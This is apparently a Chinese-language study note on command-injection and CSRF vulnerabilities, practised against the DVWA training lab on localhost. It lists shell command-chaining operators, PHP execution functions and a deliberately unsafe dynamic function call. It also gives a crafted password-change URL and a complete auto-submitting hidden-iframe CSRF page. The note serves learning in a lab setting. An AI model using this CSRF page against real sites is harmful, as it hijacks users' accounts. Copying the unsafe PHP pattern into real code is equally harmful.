命令执行漏洞
命令连接符
&& 第一个命令执行成功后,才会执行第二个命令。
|| 第一个命令执行失败,才会执行第二个
| 作为管道符,将|前面命令的输出作为|后面的输入
& 同时执行多条命令,不管命令是否执行成功
#Linux下
; 命令依次执行
php命令执行
- 命令执行
php提供了部分函数来执行外部应用程序,如:system() shell_exec() exec() passthru()
system() 有回显
pssthru() 有回显
exec() 回显最后一行
shell_exec() 无回显
在这里插入代码片
-
代码执行
eval()函数,可以把字符串按照PHP代码动态执行(必须分号结尾) -
动态函数调用
php支持动态函数调用 -
危险函数
https://blog.csdn.net/qq_43431158/article/details/99673451参考这个博主整理的
在这里插入代码片
<?php
function A(){
return "A 函数调用";
}
$fun = $_REQUEST['fun'];
echo $fun();
#此时,动态调用存在安全隐患,如再url中传参fun=phpinfo
dvwa实例(high
利用黑名单防御,只要用空格即可被绕过
windows命令与Linux命令(待补充
CSRF漏洞
原理
理解;CSRF是指跨站请求伪造,攻击者利用受害者身份进行某些操作
重点:
CSRF的攻击建立在浏览器与web服务器的会话中(会话有效
欺骗用户访问恶意URL
dvwa实例(low
get方法
构造url,发送给正在网页登陆中的用户,只要用户点击链接,即被修改密码
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=%B8%C4%B1%E4#
post方法自动提交表单
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
//上述请求的url在<iframe>中打开,而<iframe>会被隐藏
<iframe frameborder="0" name="myiframe" width="0px" height="0px"></iframe>
//如果不想跳转,悄悄提交可用target
<form id="csrf" method="post" target="myiframe" action="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="admin"/>
<input type="hidden" name="password_conf" value="admin"/>
<input type="hidden" name="Change" value="Change"/>
//<input type="submit" value="haha" /> 利用js自动提交表单
</form>
<script>
//js实现自动提交表单
var csrf = document.getElementById("csrf");
csrf.submit();
</script>
</body>
</html>
medium
只要构造一个html页面,并放到一个名为127.0.0.1的目录下即可,见refer的绕过
防御与破解
-
referer的作用就是记录你在访问一个目标网站时,在访问前你的原网站的地址
refer的绕过(转载) -
token
浏览器同源策略(转载)
利用xss可获得token